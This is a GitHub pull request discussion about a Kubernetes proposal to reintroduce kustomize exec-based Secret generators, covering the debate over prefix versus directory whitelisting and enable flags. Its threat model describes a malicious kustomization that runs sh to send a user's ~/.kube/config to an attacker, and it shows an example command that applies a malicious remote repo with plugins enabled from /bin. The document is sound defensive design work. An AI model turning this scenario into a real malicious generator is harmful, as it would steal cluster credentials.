Proposal for re-introducing SecretGenerators using Exec. #892

pwittrock · 2019-03-12T18:25:32Z

Follow up to #811

pwittrock · 2019-03-12T18:30:18Z

donbowman · 2019-03-13T01:14:13Z

It seems like another way to achieve the goal is exec path prefix.

the other kep is about ~/.config/... for the hard-coded path.
if that were added here then I could simply soft-link the 'exposed' executables into there, rather than renaming them from /usr/bin.

e.g. ln -s /usr/bin/sops ~/.config/kustomize/sops

and then --exec-path-prefix ~/.config/kustomize

anguslees

lgtm. In particular, this is effectively a whitelist of allowed commands explicitly configured on the client-side - which addresses the concerns I had with the original SecretGenerators (remote file could specify arbitrary local commands).

It would be nice to clarify in the doc whether the commands are executed when using --dry-run or not.

anguslees · 2019-03-13T04:12:58Z

keps/sig-cli/kustomize-exec-secret-generator.md

+- Command is executed from the `PATH` variable, it cannot be an absolute or relative path
+  - This is to prevent Carl from publishing a malicious generator with the kustomization.yaml and invoking it
+- Users can override the prefix with a string value with `len(value) > 2` - e.g. `sg-`
+  - Min length is to prevent users from providing an empty value, which would allow arbitrary command execution


This seems a bit nanny-state imo. If I have gone out of my way to overridde an option, then the tool should do-what-i-said (don't introduce an arms race with the user).

@anguslees sorry to see that you aren't the author on this KEP. Feel free to write a different one - there's no limit.
@pwittrock can we leave some of the more obvious KEP opportunities to new community members?

I am fine with removing this.

Yeah, maybe I'll start writing KEPs for KEPs :)

@anguslees A colleague suggested my previous comment was inappropriate, and I apologize. I meant it literally. You made some great points on #811, which strongly influenced its final form, and i hoped you or someone else who was interested in exec would contribute something along these lines.

anguslees · 2019-03-13T04:14:29Z

keps/sig-cli/kustomize-exec-secret-generator.md

+Re-introduce `exec` Secret generators, but require the executables to have a whitelisted prefix
+and require a flag.
+
+- Introduce a flag `--secret-generator-exec-prefix` defaulted to `kustomize-sg-`


What is a use-case where someone would vary this? (Is it ok to just always use that specific prefix?)

I could imagine this for if they wanted to use kubectl or git plugins for instance.

Or, in the case of using a directory containing the binaries, to disable it altogether.

pwittrock · 2019-03-13T21:26:56Z

@donbowman

It seems like another way to achieve the goal is exec path prefix.

Good point. Something I had considered but didn't put in the alternatives. This isn't mutually exclusive and I could add it as another flag. Then users could do

Use anything on the user's path
- --secret-generator-exec-prefix="" ----exec-path-prefix=""
Executables from a dir
- --secret-generator-exec-prefix="" ----exec-path-prefix="~/.kube/config"
Executables with a prefix
- --secret-generator-exec-prefix="kustomize-sg-" ----exec-path-prefix=""
Executables with a prefix that are in a dir
- --secret-generator-exec-prefix="kustomize-sg-" ----exec-path-prefix="~/.kube/config"

Thoughts?

donbowman

@donbowman

It seems like another way to achieve the goal is exec path prefix.

Good point. Something I had considered but didn't put in the alternatives. This isn't mutually exclusive and I could add it as another flag. Then users could do

Use anything on the user's path

--secret-generator-exec-prefix="" ----exec-path-prefix=""

Executables from a dir

--secret-generator-exec-prefix="" ----exec-path-prefix="~/.kube/config"

Executables with a prefix

--secret-generator-exec-prefix="kustomize-sg-" ----exec-path-prefix=""

Executables with a prefix that are in a dir

--secret-generator-exec-prefix="kustomize-sg-" ----exec-path-prefix="~/.kube/config"

Thoughts?

its more convenient for me to have a prefix dir and call it a day, than to rename the tools to have a prefix in their exec.

e.g. I'd rather ln -s sops somewhere and just type sops when doing it interactively, than rename sops to kustomize-prefix-sops and try and remember that.

donbowman · 2019-03-13T01:23:08Z

keps/sig-cli/kustomize-exec-secret-generator.md

+Re-introduce `exec` Secret generators, but require the executables to have a whitelisted prefix
+and require a flag.
+
+- Introduce a flag `--secret-generator-exec-prefix` defaulted to `kustomize-sg-`


suggest also/instead --secret-generator-path.
this allows an admin to softlink the exposed tools into a directory, rather than searching the path.
simpler for the end user and more secure

e.g. I would allow this ---exec-path-prefix="~/.kube/config" concept to be a path.
then I would just 'setenv('PATH', that)' in main(). this would allow me to have >1 spot for curated plugins, w/o exposing them randomly to kubectl apply http://blah/ random bad users, and leave the rest of the code intact.

also i think the 'with a prefix in a dir' is not needed.
IMHO simply the dir is sufficient, and would have been the solution I would have intro when this whole convo started that lead to the removal of the command. But certainly i don't have an issue w/ also having a prefix on the name.

WDYT of the current proposal? Specifically w.r.t. the defaults chosen. e.g. we default to prefix based rather than dir based, but support both.

Defaulting the path to an absolute path would make it simpler to produce a kustomize container with generators pre-installed. Maybe default it to (os agnostic version of) /usr/local/kustomize/bin/ ?

TBH I'm ok w/ anything that works since its unlikely that the defaults are perfect and its not hard to set.

So sure. prefix default is ok, support path/dir optional is ok. default to /usr/local/k/bin? sure, seems fine to me too.

SG. I'll sleep on it and finalize the defaults tomorrow. Sounds like we are good to more forward though.

pwittrock · 2019-03-13T21:44:10Z

PTAL. I believe I have addressed all comments.

pwittrock · 2019-03-13T22:34:32Z

I think the defaults for the values is the only thing up in the air. I think we can move forward with this, and revisit the defaults as a follow up.

sethpollack · 2019-03-14T00:58:03Z

@pwittrock It will be possible to have many different types of KV plugins in a single kustomization file. Rather than having flags for overriding each type, would it make more sense for them all to share path/filename conventions and then allow users to override with either flags or env vars?

apelisse · 2019-03-14T16:19:35Z

keps/sig-cli/kustomize-exec-secret-generator.md

+- Alice wants to run a whitebox mysql instance on a test cluster
+- Carl publishes a whitebox mysql `kustomization.yaml` on GitHub, with a SecretGenerator
+  that will read Alice's ~/.kube/config and send it to Carl's server by executing `sh`
+  will a script to generate some Secret


nit: sentence is incorrect I suspect

apelisse

I think this proposal is better than the previous one.

My main goal is:

In an organization where bases are shared across teams, I don't want to have to standardize a convention for the prefix name, which made the prefix option hard to manage
I don't want to have to copy scripts to a specific location every time I run kustomize
Ideally, I think I'd want the scripts to be committed next to my kustomization.yaml file
I want to be able to declarative whitelist the scripts that I've vetted

At least with this solution, I see we could do:

When I update my bases, I copy (possibly rename to have a common prefix) and inspect all these bases scripts into my top-level dir and commit them
Code reviews help catch problematic constructs
I always run kustomize with --sg-exec-path=. --sg-prefix-path=vetted-

Hope this makes sense,

apelisse · 2019-03-14T16:43:35Z

keps/sig-cli/kustomize-exec-secret-generator.md

+    - (default) the empty string - disable exec secrets altogether
+    - `$PATH` - any executable in the user's path matching the prefix
+    - an absolute directory path - only executables matching the prefix in that directory
+    - a relative directory - only executables matching the prefix in that directory


I'm assuming it's relative to the kustomization.yaml file that was command-line specified, and by "in that directory" you're saying "that doesn't contain ..". Does it follow symlinks outside "that directory"?

changed this. lmk what you think

pwittrock · 2019-03-14T17:24:24Z

@apelisse

IIUC, I agree with your assessment. Users have enough flexibility w.r.t. how they provide plugins to be able to things that might work really well for their environment / organization, but wouldn't be appropriate for all organizations or as defaults.

pwittrock · 2019-03-14T18:22:40Z

@anguslees @donbowman @apelisse @sethpollack @monopole

PTAL. Refined the UX and updated the defaults based on the feedback from y'all.

Notable changes:

Require --sg-exec-enabled to enable the secret generation
Use "/usr/local/kustomize/sg"as the default search location. Remove support for using the PATH rather than explicitly defined dirs.
Use "" as the default prefix. Rely on the paths as the primary mechanism for restriction.

Also added some items as possible features for GA.

pwittrock · 2019-03-26T22:51:35Z

PTAL

donbowman · 2019-03-27T12:10:59Z

lgtm

soltysh

I'm slightly concerned about this returning... but I see it's part of today's SIG-CLI call, so that's good 👍

soltysh · 2019-03-27T15:05:57Z

keps/sig-cli/kustomize-exec-secret-generator.md

+
+```sh
+# User enables the plugin and allows it to exec sh
+$ kubectl apply -k https://github.com/chuck/maliciousapp --enable-plugins --plugin-path=/bin


Hmm... my only concert is that this will confuse users, when he reads --enable-plugins the first thing he might think of is kubectl plugins, but that's not the case here.

The plugin is enabled by installing it.

soltysh · 2019-03-27T15:10:28Z

keps/sig-cli/kustomize-exec-secret-generator.md

+  or another location she provided with `--plugin-path=<path-including-exploitable-binary>`
+- The specified SecretGenerator must be exploitable
+  - Simple transformation functions would not be exploitable.
+  - e.g. A command like `cat` would not be possible for Chuck to exploit in a meaningful way.


Additional risk is that --enable-plugins is specified as part of alias, thus invoking kustomize will always have that enabled.

These flags will be aliased or encoded in scripts. The true opt-in point is installing the plugin. If a bad actor can install the plugin, none of these flags help.

The real issue here is the assumption that someone is blindly obtaining instructions from the web and blindly using them when applying to their cluster.

In this spirit of helping people to avoid hurting themselves, one could help here by failing on any attempt to obtain a kustomization target from the web unless the user specified

--enable_download_of_unverified_instructions_from_the_internet

or some such. But people can already curl | apply so...

Someone who's blindly installing resources found on the web to their cluster is putting their cluster at risk. I understand that local exec is a new twist here, but arguably that's only a threat to the system which is running kustomize, and the user has already opted in by installing the plugin.

This only addresses malicious plugins, not exploitable plugins. They are 2 different things.

soltysh · 2019-03-27T15:11:50Z

keps/sig-cli/kustomize-exec-secret-generator.md

+
+#### Enable Plugins with Environment Variables
+
+Allow users to specify `export KUSTOMIZE_ENABLE_PLUGINS=true` instead of providing the flag.


Although it's convenient, env vars usually hide stuff. For this particular usecase I'd prefer we do not have env var. Although the alias problem (see my other comment) is still a thing.

The env var acknowledges that the flag is merely a source of annoyance.

apelisse · 2019-03-27T16:19:21Z

I think I agree with @monopole that most of this is unnecessary. Having the plugins prefixed with kustomize- in $PATH should be good enough. no need for environment variable, customize prefix, specific bin path, etc ...

monopole · 2019-03-27T16:45:47Z

i like plugins as an extension point, but don't think this proposal establishes that these extra flags solve a problem that isn't already solved.

The plugins are here:

$XDG_CONFIG_HOME/kustomize/plugins/kvSources

This allows them to be installed and virtually relocated with whatever security your local filesystem has.

The convention here is that followed by chrome, gcloud, etc. The path makes it unambiguous that these are kustomize plugins. It's already implemented for goplugins - exec plugins can be added trivially.

pwittrock · 2019-03-27T18:16:52Z

I think I agree with @monopole that most of this is unnecessary. Having the plugins prefixed with kustomize- in $PATH should be good enough. no need for environment variable, customize prefix, specific bin path, etc ...

Why is kustomize- prefix better than a dir? At least 1 user has expressed they prefer the dir approach.

donbowman · 2019-03-27T18:18:52Z

I think I agree with @monopole that most of this is unnecessary. Having the plugins prefixed with kustomize- in $PATH should be good enough. no need for environment variable, customize prefix, specific bin path, etc ...

Why is kustomize- prefix better than a dir?

can we please not make the mistake kubectl did and require a prefix of kustomise-? It breaks the tab-completion in bash. kubectl<tab> now needs more letters, unlike the rest of the shell, when plugins are installed.

If you want a prefix for some reason, please don't make it the same as the base command :)

-- signed a sad bash completion fan

vreon · 2019-03-27T18:33:56Z

Just speaking as an interested user here. Either approach is acceptable to me, but I don't see a compelling reason to deviate from the path that git and kubectl have taken.

I'm looking at KEP 24 and it notes that "[forcing] plugin scripts and executables to exist in a pre-determined location" was undesirable but doesn't explain why. Anyone know the story there?

apelisse · 2019-03-27T18:43:08Z

Why is kustomize- prefix better than a dir? At least 1 user has expressed they prefer the dir approach

Either way would work, as long as you don't have to explicitely specify that path everytime. If we have a default path, it should probably be something simple enough that I don't have to create a specific hierarchy to satisfy the tool (If I want to configure $XDG_CONFIG_HOME/kustomize/plugins/kvSources, I still have to create kustomize/plugins/kvSources). PATH is pretty conventional, if they want to use a dir, they can add it to their path, etc ... No strong opinion, I just think it's convenient.

pwittrock · 2019-03-27T18:48:34Z

Prefix vs Path

No argument has been given to justify one of these as strictly better than the other. They have slightly different UX each of which appeals to different users. Everyone has their own opinion without a lot of data beside personal preference (including myself).

We need to choose:

Support both
Pick one and support that
- Consider also adding the other later
Bike shed endlessly

Explicit flag to enable

Organizations are likely to provide their own kustomize distributions with their own plugins. IMHO, It is more likely that the distributed plugins will be Exploitable (e.g. gcloud) than Malicious (e.g. carls-bad-plugin). The users running Kustomize on their dev station would be different than the users installing the plugins in their dev station. A simple kustomize build to see what a public MySQL kustomization.yaml could then invoke commonly installed exploitable plugins.

The big points are:

Will users be trained to use the flag always, in which case it isn't that useful? Some users might, other users might not.
For environments where a different user installs kustomize + plugin than runs kustomize, both must opt-in to running them.

What is the worst case scenario with requiring the flag?

vreon · 2019-03-27T19:18:03Z

Have we also considered an exec-less implementation?

kustomize build --external-secret-generator | my-custom-secret-fetcher > secrets.yaml
kustomize edit add resource secrets.yaml
kustomize build | kubectl apply -f -

Edit: Also, lmk if it'd be more appropriate to propose that ^ elsewhere. Like if this discussion is "how to" exec plugins rather than "should we", that's totally fair.

donbowman · 2019-03-27T19:42:44Z

Have we also considered an exec-less implementation?
kustomize build --external-secret-generator | my-custom-secret-fetcher > secrets.yaml
kustomize edit add resource secrets.yaml
kustomize build | kubectl apply -f -
Edit: Also, lmk if it'd be more appropriate to propose that ^ elsewhere. Like if this discussion is "how to" exec plugins rather than "should we", that's totally fair.

I'm trying to achieve a secrets don't end up on disk unencrypted solution. If the approach is build > file, then the secrets get decrypted and placed on disk. I'm looking for a pipeline.

monopole · 2019-03-27T19:56:45Z

withdrawn, lets go.

monopole · 2019-03-27T20:06:05Z

Phil has already merged https://github.com/kubernetes/enhancements/blob/master/keps/sig-cli/20190318-kustomize-generators-transformers.md, which arguably includes secret generation via plugin as a subset, so we can accept this or just drop it

/lgtm

k8s-ci-robot · 2019-03-27T20:06:15Z

[APPROVALNOTIFIER] This PR is APPROVED

This pull-request has been approved by: monopole, pwittrock

The full list of commands accepted by this bot can be found here.

The pull request process is described here

Needs approval from an approver in each of these files:

~~keps/sig-cli/OWNERS~~ [pwittrock]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

k8s-ci-robot added approved Indicates a PR has been approved by an approver from all required OWNERS files. cncf-cla: yes Indicates the PR's author has signed the CNCF CLA. labels Mar 12, 2019

k8s-ci-robot requested review from seans3 and soltysh March 12, 2019 18:25

k8s-ci-robot added the size/L Denotes a PR that changes 100-499 lines, ignoring generated files. label Mar 12, 2019

pwittrock requested review from anguslees and removed request for soltysh and seans3 March 12, 2019 18:25

k8s-ci-robot added kind/kep Categorizes KEP tracking issues and PRs modifying the KEP directory sig/cli Categorizes an issue or PR as relevant to SIG CLI. labels Mar 12, 2019

pwittrock requested review from monopole and sethpollack March 12, 2019 18:26

pwittrock force-pushed the secret-gen branch from f647c8b to 0db4133 Compare March 12, 2019 18:30

anguslees approved these changes Mar 13, 2019

View reviewed changes

donbowman reviewed Mar 13, 2019

View reviewed changes

pwittrock force-pushed the secret-gen branch from 1617d0d to 36b8d83 Compare March 13, 2019 21:43

pwittrock force-pushed the secret-gen branch from 36b8d83 to 90b935e Compare March 13, 2019 21:57

apelisse reviewed Mar 14, 2019

View reviewed changes

pwittrock force-pushed the secret-gen branch 2 times, most recently from de26f3e to 2338bda Compare March 14, 2019 18:19

pwittrock force-pushed the secret-gen branch from 2338bda to e3a1fd9 Compare March 14, 2019 18:24

pwittrock force-pushed the secret-gen branch 10 times, most recently from 68fc805 to 8e3a5ef Compare March 27, 2019 03:13

soltysh reviewed Mar 27, 2019

View reviewed changes

Proposal for re-introducing SecretGenerators using Exec.

76c81b1

pwittrock force-pushed the secret-gen branch from 8e3a5ef to 76c81b1 Compare March 27, 2019 17:06

k8s-ci-robot assigned monopole Mar 27, 2019

k8s-ci-robot added the lgtm "Looks good to me", indicates that a PR is ready to be merged. label Mar 27, 2019

k8s-ci-robot merged commit b28bf26 into kubernetes:master Mar 27, 2019


		#### Enable Plugins with Environment Variables

		Allow users to specify `export KUSTOMIZE_ENABLE_PLUGINS=true` instead of providing the flag.

Proposal for re-introducing SecretGenerators using Exec. #892

Proposal for re-introducing SecretGenerators using Exec. #892

Conversation

pwittrock commented Mar 12, 2019 • edited Loading

pwittrock commented Mar 12, 2019

donbowman commented Mar 13, 2019

anguslees left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

anguslees Mar 13, 2019 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

pwittrock commented Mar 13, 2019

donbowman left a comment

Choose a reason for hiding this comment

donbowman Mar 13, 2019 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

pwittrock commented Mar 13, 2019

pwittrock commented Mar 13, 2019

sethpollack commented Mar 14, 2019

Choose a reason for hiding this comment

Choose a reason for hiding this comment

apelisse left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

pwittrock commented Mar 14, 2019

pwittrock commented Mar 14, 2019 • edited Loading

pwittrock commented Mar 26, 2019

donbowman commented Mar 27, 2019

soltysh left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

monopole Mar 27, 2019 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

apelisse commented Mar 27, 2019

monopole commented Mar 27, 2019 • edited Loading

pwittrock commented Mar 27, 2019 • edited Loading

donbowman commented Mar 27, 2019

vreon commented Mar 27, 2019

apelisse commented Mar 27, 2019

pwittrock commented Mar 27, 2019 • edited Loading

Prefix vs Path

Explicit flag to enable

vreon commented Mar 27, 2019 • edited Loading

donbowman commented Mar 27, 2019

monopole commented Mar 27, 2019

monopole commented Mar 27, 2019

k8s-ci-robot commented Mar 27, 2019

pwittrock commented Mar 12, 2019 •

edited

Loading

anguslees Mar 13, 2019 •

edited

Loading

donbowman Mar 13, 2019 •

edited

Loading

pwittrock commented Mar 14, 2019 •

edited

Loading

monopole Mar 27, 2019 •

edited

Loading

monopole commented Mar 27, 2019 •

edited

Loading

pwittrock commented Mar 27, 2019 •

edited

Loading

pwittrock commented Mar 27, 2019 •

edited

Loading

vreon commented Mar 27, 2019 •

edited

Loading